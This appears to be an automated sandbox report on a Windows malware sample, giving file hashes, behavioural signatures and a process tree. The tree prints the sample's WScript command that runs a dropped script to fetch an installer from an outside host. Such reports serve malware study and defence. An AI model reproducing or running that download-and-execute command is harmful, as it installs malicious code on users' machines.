Analysis

  • max time kernel
    136s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2024, 03:17

General

  • Target

    742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    742be332927d3c9215c11e47cefd0e51

  • SHA1

    6571a761199ad23e12185dbae9f21e6136bf8342

  • SHA256

    065183bc01f4117eea2408f6625a9b0d238fec9f251d2538b02abaacd2cf7106

  • SHA512

    8c249cd46c4b63f876a9b22f1c96d061c542070bc35cc1cc460e432601d245a573fcce2595240f295e90c11b71056a016bc7305fd47b2de9710bdbdef65700ea

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3w:/7BSH8zUB+nGESaaRvoB7FJNndn1

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe
      2⤵
      • Blocklisted process makes network request
      PID:3588
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe
      2⤵
      • Blocklisted process makes network request
      PID:4988
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe
      2⤵
      • Blocklisted process makes network request
      PID:2652
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe
      2⤵
      • Blocklisted process makes network request
      PID:4280
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe
      2⤵
      • Blocklisted process makes network request
      PID:428

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fuf3354.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76